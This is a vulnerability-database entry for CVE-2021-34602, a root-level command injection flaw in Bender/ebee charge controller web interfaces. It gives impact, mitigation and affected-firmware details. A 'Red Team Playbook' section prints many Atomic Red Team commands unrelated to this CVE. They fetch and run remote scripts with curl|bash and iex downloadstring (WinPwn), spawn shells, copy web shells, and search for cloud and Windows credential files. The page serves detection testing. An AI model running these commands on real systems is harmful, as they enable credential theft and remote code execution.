CVE-2021-34602
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the web interface of Bender/ebee Charge Controllers. The affected component fails to sanitize user-supplied input fields, allowing shell commands to be injected and executed with root privileges. The flaw specifically impacts multiple firmware versions of the CC612 and ICC15xx product lines.
Vulnerability Description
In Bender/ebee Charge Controllers in multiple versions are prone to Command injection via Web interface. An authenticated attacker could enter shell commands into some input fields that are executed with root privileges.
Impact
An authenticated attacker with network access to the web interface can execute arbitrary commands with root privileges on the affected devices. This enables full system compromise including modification of device behavior, data exfiltration, or persistent backdoor installation. The attack requires valid user credentials but no additional user interaction. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack with low complexity and privileges required, emphasizing the criticality of credential protection and network segmentation.
Solution
Bender has published advisory VDE-2021-047 addressing this issue. Users should apply the latest firmware updates for CC612 and ICC15xx models as specified in the advisory to remediate the command injection vulnerability. The advisory details patch versions and installation instructions. Administrators are advised to consult https://cert.vde.com/en/advisories/VDE-2021-047 for comprehensive remediation guidance and to verify firmware integrity post-update.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Bender/ebee Charge Controllers arises from a command injection flaw present in the web interface of multiple firmware versions. This issue allows an authenticated attacker to input arbitrary shell commands into specific input fields, which are then executed with root privileges. The root access granted through this vulnerability poses significant risks, as it enables attackers to manipulate the device's configuration, access sensitive data, or even disrupt operations. The lack of proper input validation and sanitization mechanisms is the root cause of this vulnerability, allowing malicious commands to be executed without adequate checks.
Attack vectors for exploiting this vulnerability primarily involve authenticated users who have access to the web interface of the affected charge controllers. Once an attacker gains access, they can leverage the command injection flaw to execute arbitrary commands. For instance, an attacker could modify system files, install malicious software, or extract sensitive information from the device. Scenarios could range from a disgruntled employee exploiting their access to sabotage operations to an external attacker who has obtained valid credentials through phishing or social engineering tactics. The potential for lateral movement within a network is also significant, as compromised devices could serve as a foothold for further attacks.
The real-world impact of this vulnerability can be substantial, particularly for organizations that rely on Bender/ebee Charge Controllers for managing electric vehicle charging infrastructure. A successful exploitation could lead to operational disruptions, financial losses, and reputational damage. For instance, if an attacker were to manipulate charging schedules or access customer data, it could result in service outages or breaches of privacy regulations. Additionally, the high CVSS score of 8.8 indicates that this vulnerability poses a critical risk, emphasizing the need for immediate attention from affected organizations to mitigate potential threats.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and address weaknesses in the system before they can be exploited. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel can access the web interface of the charge controllers. Implementing web application firewalls (WAF) can also provide an additional layer of protection by filtering out malicious input. Moreover, keeping firmware up to date is essential, as manufacturers often release patches to address known vulnerabilities. Organizations should establish a routine for monitoring and applying updates to their systems to minimize exposure to such risks.
In conclusion, the command injection vulnerability in Bender/ebee Charge Controllers represents a significant threat to organizations utilizing these devices. The potential for exploitation through the web interface, coupled with the ability to execute commands with root privileges, poses serious risks to operational integrity and data security. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against the ramifications of this vulnerability and ensure the continued reliability of their charging infrastructure.
Affected Products (16)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Bender | Cc612 Firmware | All |
cpe:2.3:o:bender:cc612_firmware:*:*:*:*:*:*:*:*
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Bender | Cc612 Firmware | All |
cpe:2.3:o:bender:cc612_firmware:*:*:*:*:*:*:*:*
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Bender | Cc612 Firmware | All |
cpe:2.3:o:bender:cc612_firmware:*:*:*:*:*:*:*:*
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Bender | Cc612 Firmware | All |
cpe:2.3:o:bender:cc612_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
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Bender | Icc15xx Firmware | All |
cpe:2.3:o:bender:icc15xx_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-34602 |
| cert.vde.com |
GitHub CVE
x_refsource_CONFIRM
|
https://cert.vde.com/en/advisories/VDE-2021-047 |